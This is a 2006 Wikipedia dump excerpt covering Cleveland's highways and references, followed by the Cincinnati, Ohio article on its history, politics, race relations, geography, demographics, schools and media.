Three two-digit [[Interstate highway]]s serve Cleveland directly. [[Interstate 71]] begins just southwest of downtown and is the major route from downtown Cleveland to the airport. I-71 runs through the southwestern [[suburb]]s and eventually connects Cleveland with [[Columbus, Ohio|Columbus]]. [[Interstate 77]] begins in downtown Cleveland and runs almost due south through the southern suburbs. I-77 sees the least traffic of the three interstates, although it does connect Cleveland to [[Akron, Ohio|Akron]]. [[Interstate 90]] connects the two sides of Cleveland, and is the northern terminus for both I-71 and I-77. Running due east/west through the west side suburbs, I-90 turns northeast at the junction with I-71 and I-490, and is known as the Innerbelt through downtown. At the junction with the Shoreway, I-90 makes a 90-degree turn known in the area as [[Dead Man's Curve]], then continues northeast, entering [[Lake County, Ohio|Lake County]] near the eastern split with Ohio 2. Cleveland is also served by two three-digit interstates, [[Interstate 480 (Ohio)|Interstate 480]], which enters Cleveland briefly at a few points and [[Interstate 490 (Ohio)|Interstate 490]], which connects I-77 with the junction of I-90 and I-71 just south of downtown. &lt;!-- Please do not add I-271 here, since it does not run through the City of Cleveland. Instead, please include any relevant information in the Greater Cleveland article. --&gt;

Two other limited-access highways serve Cleveland. The [[Cleveland Memorial Shoreway]] carries [[Ohio State Highway 2|Ohio 2]] along its length, and at varying points also carries [[U.S. Highway 6|US 6]], [[U.S. Highway 20|US 20]] and I-90.  The Jennings Freeway ([[Ohio State Highway 176|Ohio 176]]) connects I-71 just south of I-90 to I-480 near the suburbs of [[Parma, Ohio|Parma]] and [[Brooklyn Heights, Ohio|Brooklyn Heights]].  A third highway, the Berea Freeway ([[Ohio State Highway 237|Ohio 237]] in part), connects I-71 to the airport, and forms part of the boundary between Cleveland and [[Brook Park, Ohio|Brook Park]].

==See also==
* [[Cleveland East Ohio Gas Explosion]]
* [[Cleveland Torso Murderer]] (Kingsbury Run murders)

==References==
#{{note|livable}} [http://store.eiu.com/index.asp?layout=pr_story&amp;press_id=660001866&amp;ref=pr_list &quot;Vancouver tops liveability ranking according to a new survey by the Economist Intelligence Unit&quot;].  Accessed [[October 11]] [[2005]].
#{{note|meetings}} Copestake, Jon. [http://www.economist.com/theworldin/business/displayStory.cfm?story_id=5149435 &quot;Where business is a pleasure&quot;], [[The Economist]]. ([[December 23]], [[2005]])
#{{note|clevehistory}} [http://ech.cwru.edu/ The Encyclopedia Of Cleveland History (2002)]. ''Case Western Reserve University''.
#{{note|clevehistory}} Ibid.
#{{note|census}} [http://factfinder.census.gov/servlet/SAFFFacts?_event=&amp;geo_id=16000US3916000&amp;_geoContext=01000US%7C04000US39%7C16000US3916000&amp;_street=&amp;_county=cleveland&amp;_cityTown=cleveland&amp;_state=04000US39&amp;_zip=&amp;_lang=en&amp;_sse=on&amp;ActiveGeoDiv=&amp;_useEV=&amp;pctxt=fph&amp;pgsl=160 Cleveland, Ohio Fact Sheet] ([[United States Census Bureau]]).  Accessed [[October 11]] [[2005]].
#{{note|clevehistory}} Encyclopedia of Cleveland History.
#{{note|neighborhoods}}[http://www.nhlink.net/neighborhoodtour/nt.php Neighborhood Link].  Accessed [[October 14]] [[2005]].
#{{note|gentrification}} Kennedy, Maureen and Leonard, Paul. [http://www.brookings.edu/es/urban/gentrification/gentrificationexsum.htm Dealing with Neighborhood Change: A Primer on Gentrification and Policy Choices]. [[Brookings Institution]] (April 2001).
#{{note|zoning}} Gill, Michael. [http://www.freetimes.com/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=471 &quot;Can the Creative Class Save Cleveland?&quot;]. [[Free Times]] ([[October 29]], [[2003]])
#{{note|snowfall}} [http://www.erh.noaa.gov/cle/climate/cle/records/cletop10snow.html Cleveland Snowfalle (sic) Statistics] ([[National Weather Service]]).  Accessed [[October 13]] [[2005]].
#{{note|temperature}} The Weather Channel (1995-2005). [http://www.weather.com/activities/other/other/weather/climo-monthly-graph.html?locid=USOH0195&amp;from=36hr_bottomnav_undeclared Monthly Climatology Graph]. Retrieved [[October 16]] [[2005]].
#{{note|rainfall}} [http://www.met.utah.edu/jhorel/html/wx/climate/normrain.html National - Average Monthly Precipitation] (Department of Meteorology, [[University of Utah]]).  Accessed [[October 13]] [[2005]].
#{{note|census2}} Gibson, Campbell. [http://www.census.gov/population/www/documentation/twps0027.html Population of the 100 Largest Cities and Other Urban Places in the United States: 1790 to 1990].  Accessed [[October 11]] [[2005]].
#{{note|poorest}} The Associated Press. [http://msnbc.msn.com/id/6080044/ &quot;Cleveland rated poorest big city in U.S.&quot;]  Accessed via [[MSNBC]], [[October 12]] [[2005]].
#{{note|poorest2}} Exner, Rich, and Smith, Robert L. [http://www.cleveland.com/poverty/plaindealer/index.ssf?/base/cuyahoga/1125480922285430.xml&amp;coll=2 &quot;Cleveland no longer poorest U.S. big city&quot;], [[The Plain Dealer (newspaper)|The Plain Dealer]]. ([[August 31]] [[2005]])
#{{note|ccusnews}} U.S. News &amp; World Report (2005). [http://www.usnews.com/usnews/health/best-hospitals/directory/glance_6410670.htm Best Hospitals 2005: Cleveland Clinic]. Retrieved [[October 16]] [[2005]].
#{{note|uhusnews}} U.S. News &amp; World Report (2005). [http://www.usnews.com/usnews/health/best-hospitals/rankings/specihqcanc.htm Best Hospitals 2005: Cancer]. Retrieved [[October 16]] [[2005]].
#{{note|Intel_Delays}} Gomez, Henry &quot;A Wireless Future? Give It Some Time&quot;, [[The Plain Dealer (newspaper)|The Plain Dealer]]. ([[December 4]] [[2005]]).
#{{note|smartcity}} Gomez, Henry J. [http://www.cleveland.com/business/plaindealer/index.ssf?/base/business/113774942655331.xml&amp;coll=2 &quot;Top U.S. Broadband town: Cleveland&quot;], [[The Plain Dealer (newspaper)|The Plain Dealer]]. ([[January 20]] [[2006]]).
#{{note|time}} Walsh, Michael. [http://www.time.com/time/archive/preview/0,10987,979946,00.html &quot;The Finest Orchestra? (Surprise!) Cleveland&quot;], [[Time (magazine)|Time]]. ([[January 10]] [[1994]])
#{{note|imdb}} [http://us.imdb.com/List?endings=on&amp;&amp;locations=Cleveland,%20Ohio,%20USA&amp;&amp;heading=18;with+locations+including;Cleveland,%20Ohio,%20USA IMDb: Movies made in Cleveland]. Accessed [[January 24]] [[2006]].
#{{note|nielsen}} [http://www.nielsenmedia.com/metered_markets.html Nielsen Media Research: Metered Markets]. Accessed [[October 11]] [[2005]].
#{{note|espn}} Darcy, Kieran. [http://web.archive.org/web/20041013110332/http://sports.espn.go.com/espn/page2/story?page=tortured/cleveland ESPN.com: Page 2 : Mistakes by the lake] ([[July 13]] [[2004]]).  Accessed [[October 11]] [[2005]].
#{{note|barons}} [http://www.sportsecyclopedia.com/nhl/cleveland/barons.html Sports E-cyclopedia: Cleveland Barons (1976-1978)].  Accessed [[October 11]] [[2005]].
#{{note|rta}} [http://euclidtransit.org/ The Euclid Corridor Transportation Project].  Accessed [[October 11]] [[2005]].

==External links==
{{Sisterlinks|Cleveland}}
* [http://www.city.cleveland.oh.us/index1.html City Of Cleveland Home Page]
* [http://www.travelcleveland.com/ Greater Cleveland Convention and Visitors Bureau]
* [http://www.clevelandmemory.org Cleveland Memory Project]
*{{Dmoz|Regional/North_America/United_States/Ohio/Localities/C/Cleveland/|Cleveland}}
*{{Mapit-US-cityscale|41.482301|-81.669718}}
*{{Wikitravelpar|Cleveland (Ohio)}}
*{{Flickr|Cleveland}}
*[http://urbanohio.com/Cleveland.htm Pictures of Cleveland on UrbanOhio.com]
*[http://www.clevewiki.com CleveWiki Project]

{{Portal}}
{{Cleveland}}

{{Ohio}}

[[Category:Cleveland, Ohio| ]]
[[Category:County seats in Ohio]]

[[ar:كليفلاند (أوهايو)]]
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[[es:Cleveland]]
[[fi:Cleveland (Ohio)]]
[[fr:Cleveland]]
[[he:קליבלנד]]
[[ja:クリーブランド (オハイオ州)]]
[[nl:Cleveland (Ohio)]]
[[pl:Cleveland (Ohio)]]
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[[simple:Cleveland, Ohio]]
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[[sv:Cleveland]]</text>
    </revision>
  </page>
  <page>
    <title>Cincinnati, Ohio</title>
    <id>5952</id>
    <revision>
      <id>42163723</id>
      <timestamp>2006-03-04T06:08:56Z</timestamp>
      <contributor>
        <username>Araker</username>
        <id>630708</id>
      </contributor>
      <minor />
      <comment>/* History */  Removed (heck yes)</comment>
      <text xml:space="preserve">:''The article refers to the city in [[Ohio]]. For information on the city in [[Iowa]], see [[Cincinnati, Iowa]].''
{{Infobox City |official_name = Cincinnati, Ohio
|nickname = The Queen City
|website = http://www.cincinnati-oh.gov/
|image_skyline = Cincinnati oh skyline.jpg
|image_flag = Cinci Flag.gif
|image_seal = CinciSeal.gif
|image_map = Cincinnati Hamilton.png
|map_caption = Location in [[Hamilton County, Ohio|Hamilton County]], [[Ohio]]
|subdivision_type = [[Countries of the world|Country]]&lt;br&gt;  [[Political divisions of the United States|State]]&lt;br&gt;  [[List of counties in Ohio|County]]
|subdivision_name = [[United States]]&lt;br&gt;[[Ohio]]&lt;br&gt;[[Hamilton County, Ohio|Hamilton]]
|leader_title = [[Mayor]]
|leader_name =  [[Mark L. Mallory]] ([[Democratic Party (United States)|D]])
|area_magnitude = 1 E8
|area_total = 206.1
|area_land = 202.0
|area_water = 4.1
|population_as_of = 2004
|population_total = 314,154
|population_metro = 2,009,632
|population_density = 1,516.7
|timezone = [[Eastern Standard Time Zone|EST]]
|utc_offset = -5
|timezone_DST = [[Eastern Daylight Time|EDT]]
|utc_offset_DST = -4
|latd = 39
|latm = 8
|lats = 10 
|latNS = N
|longd = 84
|longm = 30
|longs = 11
|longEW = W
|elevation = 147
|footnotes = &lt;table border=&quot;0&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; style=&quot;margin: 0 0 0 0;  background: #f9f9f9;&quot;&gt;
&lt;tr&gt;&lt;td&gt;'''Founded'''&lt;/td&gt;&lt;td&gt;[[1788]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Incorporated'''&lt;/td&gt;&lt;td&gt;[[1819]]&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
}}

'''Cincinnati''' is a city in southwestern [[Ohio]], [[United States]] that lies on the [[Ohio River]] and is the [[county seat]] of [[Hamilton County, Ohio|Hamilton County]]{{GR|6}}. It is nicknamed &quot;'''The Queen City'''&quot; (also &quot;'''The Queen of the West''',&quot; &quot;'''The Blue Chip City''',&quot; &quot;'''The City of Seven Hills'''&quot; and &quot;'''Cincinnata'''&quot;) and is sometimes abbreviated to &quot;'''Cincy'''&quot;, &quot;'''Cinci'''&quot;, &quot;'''Cinti'''&quot;, or &quot;'''the 'Nati'''&quot;.

As of the [[United States 2000 census|2000 census]], Cincinnati had a total population of 331,285, making it the third largest city in Ohio. It has a much larger [[metropolitan area]], commonly called &quot;[[Cincinnati/Northern Kentucky metropolitan area|Greater Cincinnati]]&quot;, covering parts of Ohio, [[Kentucky]] and [[Indiana]], with more than 2,000,000 residents.  It is home to major-league sports, including the [[Cincinnati Reds|Reds]], the [[Cincinnati Bengals|Bengals]], and the historic international tennis tournament The [[Cincinnati Masters|Cincinnati Masters &amp; Women's Open]], as well as major corporations such as [[Procter &amp; Gamble]], [[Kroger]], [[GE Infrastructure]], [[Federated Department Stores]] (owner of [[Macy's]],  [[Bloomingdale's]], and [[Lord &amp; Taylor]]), [[Chiquita Brands International]], [[Great American Insurance Company]], [[The E. W. Scripps Company]], the [[U.S. Playing Card Company]] and [[Fifth Third Bank]].

==History==
:''Main article: [[History of Cincinnati, Ohio]]''
Cincinnati was founded in 1788 by John Cleves Symmes and [[Colonel Robert Patterson]]. Surveyor [[John Filson]] (also the author of The Adventures of Colonel Daniel Boon (cq)  [[Daniel Boone]]) named it &quot;Losantiville&quot;[http://www.filsonhistorical.org] from four terms, each of different language, meaning &quot;The city opposite the mouth of the Licking River.&quot; &quot;Ville&quot; is French for &quot;city,&quot; &quot;anti&quot; is Greek for &quot;opposite,&quot; &quot;os&quot; is Latin for &quot;mouth,&quot; and &quot;L&quot; was all that was included of &quot;Licking River.&quot;

In 1790, [[Arthur St. Clair]], the governor of the [[Northwest Territory]], changed the name of the settlement to &quot;Cincinnati&quot; in honor of the [[Society of the Cincinnati]], of which he was president. The society honored General [[George Washington]], who was considered a latter day [[Cincinnatus]]&amp;mdash;the [[Roman Empire|Roman]] general who saved his city, then retired from power to his farm. To this day, Cincinnati in particular, and Ohio in general, are home to a disproportionately large number of descendants of [[American Revolution|Revolutionary War]] soldiers who were [[United States Military Lands|granted lands]] in the state.

In 1802, Cincinnati was chartered as a village, and in 1819, it was incorporated as a city. The introduction of steam navigation on the Ohio River in 1811 and the completion of the Miami and Erie Canal helped the city grow to 115,000 citizens by 1850. The nickname '''Porkopolis''' was coined around 1835, when Cincinnati was the country's chief hog packing center, and herds of pigs traveled the streets. Called the &quot;Queen of the West&quot; by [[Henry Wadsworth Longfellow]] (although this nickname was first used by a local newspaper in 1819), Cincinnati was an important stop on the [[Underground Railroad]], which helped slaves escape from the South. 
Cincinnati is also known as the &quot;City of Seven Hills,&quot; which is probably a romantic reference to Rome and Cincinnatus, though there is no agreement on the specific hills [http://www.cincinnati.com/local/atoz/upsanddowns.html]to which the name refers (however, see discussion section).

Cincinnati was the site of many historical beginnings.  It was the first city in the United States to establish a Jewish Hospital in 1850.  It is where America's [http://www.cincyfiremuseum.com/history.html first municipal fire department]was established in 1853.  Established in 1867, the Cincinnati Red Stockings (later, the [[Cincinnati Reds]]) became the world's first professional (all paid, no amateurs) baseball team in 1869.  In 1935, major league baseball's first night game was played at [[Crosley Field]].  Cincinnati was the first to build and own a [[Cincinnati, New Orleans and Texas Pacific Railway|major railroad]] in 1880.  In 1902, the world's first reinforced concrete skyscraper was built, the [[Ingalls Building]].  [http://www.bartleby.com/65/be/Beard-Da.html &quot;The Sons of Daniel Boone&quot;], a forerunner to the [[Boy Scouts of America]], began in Cincinnati in 1905.  Because of the city's rich German heritage, the pre-prohibition era allowed Cincinnati to become a national forerunner in the [http://www.citybeat.com/2004-04-28/socincinnati.shtml brewing industry.] During experimentation for 6 years (until 1939), Cincinnati's AM radio station, [[WLW]] was the first to broadcast at an astounding 500,000 watts.  In 1943, [[King Records]] (and it's subsidiary, [[Queen Records]]) was founded, and went on to record early music by artists who became highly successful and influential in [[Country music|Country]], [[R&amp;B]], and [[Rock and roll|Rock]].    [http://www.cetconnect.org/50/index.asp#documents WCET TV] was the first licensed public television station, established in 1954.  In 1976, the [[Cincinnati Stock Exchange]] became the nation's first all-electronic trading market.

As a pioneer-era city, it compared with [[Pittsburgh, Pennsylvania|Pittsburgh]] and [[Nashville, Tennessee|Nashville]]. As a &quot;[[Riverboat]]&quot; and [[canal]]-era city, it compared with [[Louisville, Kentucky|Louisville]], [[St. Louis, Missouri|St. Louis]] and [[New Orleans, Louisiana|New Orleans]]. As an immigrant, industrial city it compared with [[Brooklyn, New York|Brooklyn]], [[Philadelphia, Pennsylvania|Philadelphia]], [[Cleveland, Ohio|Cleveland]], [[Chicago, Illinois|Chicago]], and [[Detroit, Michigan|Detroit]]. 

Because of its river setting and extensive park system, many commentators have remarked on Cincinnati's beauty, including Winston Churchill, who called it &quot;the most beautiful of America's inland cities.&quot; The city's picturesque skyline was used as a backdrop for the fictional city of Monticello on the [[soap opera]] ''[[The Edge of Night]]'', one of the many soap operas sponsored by Cincinnati soap maker [[Procter &amp; Gamble]]. In fact, [[Procter &amp; Gamble]] created the genre of the &quot;soap opera&quot; when it helped launch the [[Ma Perkins]] radio program in 1933.

==Politics==
Currently, the City of Cincinnati generally votes [[Democratic Party (United States)|Democratic]], the rest of the metropolitan area generally votes [[Republican Party (United States)|Republican]]. 

The city is governed by a [[Election Results, City Council of Cincinnati, Ohio|nine-member city council]], whose members are elected at large. Prior to 1924, city council was elected through a system of [[Ward (politics)|wards]]. The ward system lent itself to corruption and Cincinnati was run by the [[Republican Party (United States)|Republican]] [[political machine]] of Boss Cox from the 1880's through the 1920's with a few brief interludes. A reform movement arose in 1923, led by another [[Republican Party (United States)|Republican]], [[Murray Seasongood]]. Seasongood eventually founded the Charter Committee, which used ballot initiatives in 1924 to eliminate the ward system and replace it with the current at-large system and also to introduce a [[council-manager government|city manager]]. From 1924 to 1957, the council was selected by [[proportional representation]]. As of 1957, all candidates run in a single race and the top nine vote-getters are elected (the &quot;9-X system&quot;). The mayor was selected by the council. Starting in 1987, the top vote-getter in the city council race automatically became mayor. Starting in 1999, the [[List of Mayors of Cincinnati, Ohio|mayor]] was chosen in a separate election and the city manager accepted a lesser role in government; these reforms were referred to as the &quot;strong mayor&quot; reforms. Cincinnati politics includes the participation of the [[Charter Party of Cincinnati, Ohio|Charter Party]], the third-party with the longest history of winning in local elections.

==Race relations==
Ohio was a border state to the Southern slavery states. It was a focal point for huge commerce to the South as well as being a well known goal for runaway slaves as once they set foot in Cincinnati, they were officially out of slavery. Many local laws and incidents in history confound the pristine concept of it being a truly &quot;free&quot; city, as there were very famous incidents of riots, racial purges and tragic confrontations of runaway slaves or freeman kidnapped into bondage.

The neighborhoods in Cincinnati are highly segregated. This separation does not appear explicitly created in lawbooks or social procedures but is easily seen when considering the density of one racial domination of a particular area. Typical distribution is most Blacks are closer to downtown (such as Over-the-Rhine and Avondale) with White clusters (such as Mount Adams, University Heights, and Clifton). There are neighborhoods of high integration between Whites and Blacks but these are usually surrounded by other areas which are much more polarized.

===Underground Railroad===
Cincinnati was an important port for the [[Underground Railroad]] in pre-Civil War times. It borders a slave state, [[Kentucky]], and is often mentioned as a destination for many people escaping the bonds of slavery. There are many harrowing stories involving abolitionists, runaways, slave traders and free men. 

The [[National Underground Railroad Freedom Center]], located in downtown Cincinnati on the banks of the Ohio River, largely focuses on the history of slavery in the U.S., but has an underlying mission of promoting freedom in a contemporary fashion for the world. Its grand opening ceremony was a gala event involving many national stars, musical acts, fireworks, and a visit from the current First Lady of the U.S. It is physically located between Great American Ballpark and Paul Brown Stadium, which were both built and opened shortly before the Freedom Center was opened.

===History of race riots===
There is a long history of racial tension between White and Black citizens in Cincinnati that have erupted violently.

* 1829 Riots begun by Whites to terrorize the Black community resulted in thousands of Blacks leaving for Canada.
* 1836 a pro-slavery riot took place
* 1841 Irish dock workers rioted against Black dock workers. When the Black dock workers banded together to defend their community from the approaching Whites, the White riotors retreated and then commandeered a 6-pound cannon and shot it through the streets of Cincinnati.
* 1884 The deadliest riot in U.S. history took place. It was started by a White mob in reaction to their anger over a murder trial involving a Black and White defendant. 56 people were killed and the city's courthouse was burned down.
* 1967 the first riot initiated by Blacks occurred. The incident which sparked the violence was a domestic dispute between a Black couple which had gunfire involved but turned quickly into a race riot.
* 1968 After [[Martin Luther King Jr]]'s death riots raged nationwide. In the riots in Cincinnati two people died.
* 2001 ''Main article: [[2001 Cincinnati Riots]]'' After 15 consecutive deaths of young Black males during police confrontations, during which time no other race or gender died, riots broke out in downtown Cincinnati. The death of [[Timothy Thomas]] occurred on the backdrop of a federal case brought against the city and police department alleging racial profiling rallying around [[Roger Owensby, Jr]] while the civil trial investigating the police involved in Owensby's death ''See:'' [[Roger Owensby Jr Criminal Trial]]. That combination is considered the catalyst for what some refer to as riots and others an uprising. Please see the main article for details.

==Geography and climate==
===Geography===
[[Image:Cincinnati-skyline-from-kentucky-shore-night.jpg|thumb|300px|Cincinnati skyline at night, from the [[Kentucky]] shore.]]
Cincinnati is located at {{coor dms|39|8|10|N|84|30|11|W|region:GR}} (39.136160, -84.503088).{{GR|1}}

According to the [[United States Census Bureau]], the city has a total area of 206.1 [[square kilometre|km²]] (79.6 [[square mile|mi²]]).  201.9 km² (78.0 mi²) of it is land and 4.1 km² (1.6 mi²) of it is water.  The total area is 2.01% water.

The Cincinnati &amp;ndash; [[Middletown, Ohio|Middletown]] [[United States metropolitan area|Metropolitan Statistical Area]] (MSA), the [[List of United States metropolitan statistical areas by population|25th largest]] in the United States, has a population of 2,009,632. It includes the [[Ohio]] counties of [[Hamilton County, Ohio|Hamilton]], [[Butler County, Ohio|Butler]], [[Warren County, Ohio|Warren]], [[Clermont County, Ohio|Clermont]] and [[Brown County, Ohio|Brown]], as well as the [[Kentucky]] counties of [[Boone County, Kentucky|Boone]], [[Bracken County, Kentucky|Bracken]], [[Campbell County, Kentucky|Campbell]], [[Gallatin County, Kentucky|Gallatin]], [[Grant County, Kentucky|Grant]], [[Kenton County, Kentucky|Kenton]], and [[Pendleton County, Kentucky|Pendleton]], and the [[Indiana]] counties of [[Dearborn County, Indiana|Dearborn]], [[Franklin County, Indiana|Franklin]], and [[Ohio County, Indiana|Ohio]].

===Climate===
Cincinnati's weather is temperate and seasonal. [[summer|Summers]] are hot and humid with cool evenings. The mean annual temperature is 54&amp;nbsp;[[Fahrenheit|°F]] (12&amp;nbsp;[[Celsius|°C]]), with an average annual snowfall of 32&amp;nbsp;[[inch]]es (81.3&amp;nbsp;[[centimetre|cm]]) and an average annual rainfall of 41&amp;nbsp;inches (1,040 mm). The wettest seasons are the [[spring (season)|spring]] and [[summer]], although rainfall is fairly constant all year round. During the [[winter]], particularly in January and February, several days of [[snow]] can be expected, allowing for [[winter sports]], although snowfall is lighter than in most of [[Ohio]]. Winter temperatures range from 27 to 43 °F (−3 to 6 °C) and summer temperatures range from  66 to 86 °F (19 to 30 °C).{{mn|NOAA|1}} The highest recorded temperature was 103.0&amp;nbsp;°F (39.4&amp;nbsp;°C) on [[1988-08-17]], and the lowest recorded temperature was −22&amp;nbsp;°F (−30 °C) on [[1994-01-19]].{{mn|MaxMinTemps|2}}

===Neighborhoods===
{{main|List of Cincinnati neighborhoods}}

Cincinnati's unique geography nestles its neighborhoods in small basins and the hillsides that overlook them. Because of this, many of the city's neighborhoods developed very strong identities. Today's outer neighborhoods such as [[Clifton, Cincinnati|Clifton]], [[Hyde Park, Cincinnati|Hyde Park]], [[Mt. Washington, Cincinnati|Mt. Washington]] and [[Carthage, Cincinnati|Carthage]] were originally settled as their own villages, with individual downtown sections of their own. [[Over-the-Rhine]] was an important neighborhood in [[German-American]] history.  Also important to the city's landscape is the division into &quot;East and West Sides.&quot; The division came about after the construction of I-75, which runs North from Kentucky towards Dayton. The rivalry has been intense at times (very limited violence or reported discrimination), but is mostly considered light-hearted. Accents, fashion, city planning (ie: the way the houses are laid out), financial demographics, and other items are some of the stereotypes and behaviors that separate the two distinctions. One of the descriptions of such differences is the statement that the East side &quot;has the money and spends it,&quot; and the West Side, &quot;has the money and doesn't spend it.&quot;  Even though this division is often pointed to as being a point of contention there have only been limited incidents of violence or litigious discrimination and it's considered a &quot;charming quirk&quot; more than a divisive hinderance to society.

==Demographics==
{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;5&quot; style=&quot;float:right; margin-left:15px;&quot;
|align=center colspan=2| '''City of Cincinnati &lt;br&gt;Population by year [http://www.census.gov/population/www/documentation/twps0027.html]'''
|-
| align=center |
1810 - 2,540 &lt;br&gt;
1820 - 9,642 &lt;br&gt;
1830 - 24,831 &lt;br&gt;
1840 - 46,338 &lt;br&gt;
1850 - 115,435 &lt;br&gt;
1860 - 161,044 &lt;br&gt;
1870 - 216,239 &lt;br&gt;
1880 - 255,139 &lt;br&gt;
1890 - 296,908 &lt;br&gt;
1900 - 325,902 &lt;br&gt;
1910 - 363,591 &lt;br&gt;
1920 - 401,247 &lt;br&gt;
1930 - 451,160 &lt;br&gt;
1940 - 455,610 &lt;br&gt;
1950 - 503,998 &lt;br&gt;
1960 - 502,550 &lt;br&gt;
1970 - 452,524 &lt;br&gt;
1980 - 385,457 &lt;br&gt;
1990 - 364,040 &lt;br&gt;
2000 - 331,285 
|}

As of the [[census]]{{GR|2}} of [[2003]], there are 317,361 people, 166,012 households, and 72,566 families residing in the city.  The [[population density]] is 1,640.5/km² (4,249.0/mi²).  There are 166,012 housing units at an average density of 822.1/km² (2,129.2/mi²).  The racial makeup of the city is 52.97% [[White (U.S. Census)|White]], 42.92% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.21% [[Native American (U.S. Census)|Native American]], 1.55% [[Asian (U.S. Census)|Asian]], 0.04% [[Pacific Islander (U.S. Census)|Pacific Islander]], 0.63% from [[Race (U.S. Census)|other races]], and 1.68% from two or more races.  1.28% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 148,095 households out of which 25.1% have children under the age of 18 living with them, 26.6% are [[Marriage|married couples]] living together, 18.6% have a female householder with no husband present, and 51.0% are non-families. 42.8% of all households are made up of individuals and 11.1% have someone living alone who is 65 years of age or older.  The average household size is 2.15 and the average family size is 3.02.

The age distribution is 24.5% under the age of 18, 12.9% from 18 to 24, 31.6% from 25 to 44, 18.7% from 45 to 64, and 12.3% who are 65 years of age or older.  The median age is 32 years.  For every 100 females there are 89.4 males.  For every 100 females age 18 and over, there are 85.6 males.

Although the city was ranked as one of the poorest cities in the United States in 2003, the median income for a household in the city is $29,493, and the median income for a family is $37,543. Males have a median income of $33,063 versus $26,946 for females. The [[per capita income]] for the city is $19,962.  21.9% of the population and 18.2% of families are below the [[poverty line]].  Out of the total population, 32.0% of those under the age of 18 and 14.8% of those 65 and older are living below the poverty line.

There has been concerted effort by the local government to stem the tide of emigrants. The amount of those living in Cincinnati have decreased. Many of those leaving are living in the suburbs just outside of Cincinnati (often considered &quot;[[Cincinnati/Northern Kentucky metropolitan area|Greater Cincinnati]]&quot;), however, even considering the Greater Cincinnati area there has been an overall loss of population. Several reasons are mentioned for this phenomenon, including job opportunities, entertainment, racial tensions, education opportunities and others.

==Fountain Square==
[[Image:Cincinnati-fountain-square-full.jpg|thumb|left|[[w:Tyler Davidson Fountain|Tyler Davidson Fountain]], centerpiece of Fountain Square.]]
[[Fountain square|Fountain Square]] is a public square in downtown Cincinnati, located at Fifth Street and Vine. Its centerpiece is the landmark bronze [[Tyler Davidson Fountain]]. The square is a popular [[hardscape]], surrounded by hotels, banks, department stores, and restaurants. The space was donated to the city of Cincinnati by prominent citizen Henry Probasco and dedicated on its completion in 1871 to his brother-in-law, Tyler Davidson. In 1998 the fountain underwent extensive restoration. In September 2005 the fountain was temporarily moved to the Cincinnati Art Museum while Fountain Square itself undergoes extensive renovation.

Fountain Square was featured in the credits of the television series ''[[WKRP in Cincinnati]]''.

==Riverfront==
Being situated on the Ohio River, Cincinnati is home to several prominent bridges that connect the downtown to [[Covington, Kentucky]] and [[Newport, Kentucky]], including the picturesque [[John A. Roebling Suspension Bridge]]; the [[Daniel Carter Beard Bridge]] (aka The [[Big Mac]] Bridge); and the [[Purple People Bridge]].

==Education==
[[Cincinnati Public Schools]] operates the public schools in the city. Among these schools are [[Walnut Hills High School]] and the [[School for Creative and Performing Arts]] (SCPA).

The Cincinnati area is also home to a number of Catholic high schools, most of which are [[Single-sex school|single-sex]]. These schools include:

*Archbishop [[Elder High School]]
*[[Bishop Fenwick High School]]&amp;nbsp;&amp;ndash; coed
*[[La Salle High School]]
*[[ Mc Auley High School]]
*Archbishop [[McNicholas High School]]&amp;nbsp;&amp;ndash; coed
*[[Mother of Mercy High School]]
*Archbishop [[Moeller High School]]
*[[St. Ursula Academy]]
*Archbishop [[Purcell Marian High School]]&amp;nbsp;&amp;ndash; coed
*[[St. Xavier High School (Hamilton County, Ohio)|St. Xavier High School]]
*[[Mount Notre Dame High School]]
*[[Ursuline Academy]]

The city of Cincinnati is also home to a variety of private schools. Among these are the [[Seven Hills School]], [[Summit Country Day School]], [[Cincinnati Hills Christian Academy]] and [[Cincinnati Country Day School]].

==Media==
===Print===
Cincinnati is served by two daily newspapers:  The ''[[Cincinnati Enquirer]]'', owned by the [[Gannett]] Co., and The ''[[Cincinnati Post]]'', owned by the [[E.W. Scripps Company]], as well as an African American newspaper (The ''[[Cincinnati Herald]]''), a Jewish newspaper, (The ''[[American Israelite]]'') and weekly newspapers ''[[Cincinnati CityBeat|CityBeat]]'' and ''[[CiN Weekly]]''. The ''Cincinnati Business Courier'' [http://cincinnati.bizjournals.com/cincinnati/] is a weekly business publication and ''[[Cincinnati Magazine]]'' comes out once a month.

===Television===
*The following TV stations serve the Cincinnati area:
**[[WLWT]] [http://www.channelcincinnati.com/ Channel 5] ([[NBC]]), owned by [[Hearst-Argyle]]
**[[WCPO]] [http://www.wcpo.com/ Channel 9] ([[American Broadcasting Company|ABC]]), owned by [[Scripps-Howard]]
**[[WKRC]] [http://www.wkrc.com/ Channel 12] ([[CBS]]), owned by [[Clear Channel]]
**[[WXIX]] [http://www.fox19.com/ Channel 19] ([[Fox Broadcasting Company|FOX]]), owned by [[Raycom Media]]
**[[WSTR-TV]] [http://www.wb64.net/ Channel 64] ([[The WB Television Network|WB]]), owned by [[Sinclair Broadcast Group]]
**[[WOTH]] [http://www.wbqc.com/woth/ Channel 25], owned by WBQC (below)-- (low power)
**[[WBQC]] [http://www.wbqc.com Channel 38] ([[UPN]])-- (low power)
**[[WCET]] [http://www.wcet.org Channel 48] ([[Public Broadcasting Service|PBS]])

===Radio===
{{See also|:Category:Radio stations in Cincinnati, Ohio}}
*These are the major talk and music radio stations in the Cincinnati area:
**55WKRC AM Talk Radio &quot;The Talk Station&quot; [http://www.55krc.com]
**[[WLW|NewsRadio 700 WLW AM]] &quot;The Big One&quot; [http://www.700wlw.com]
**Sacred Heart Radio 740 AM   [http://www.sacredheartradio.com]
**News Talk 1160 WBOB AM   [http://www.wbob.com]
**1360 Homer AM &quot;The Sports Animal&quot; Sports Radio  [http://www.1360homer.com]
**1530 WCKY AM &quot;The Revolution of Talk Radio&quot;   [http://www.wcky.com]
**WAIF &quot;What Radio Was Meant To Be&quot; Community radio 88.3 FM   [http://waif883.org]
**WJVS &quot;Joint Vocational School&quot; Mon-Fri 8:00 AM to 3:00 PM on 88.3 FM
**WGUC 90.9 FM NPR; Classical Music   [http://www.wguc.org]
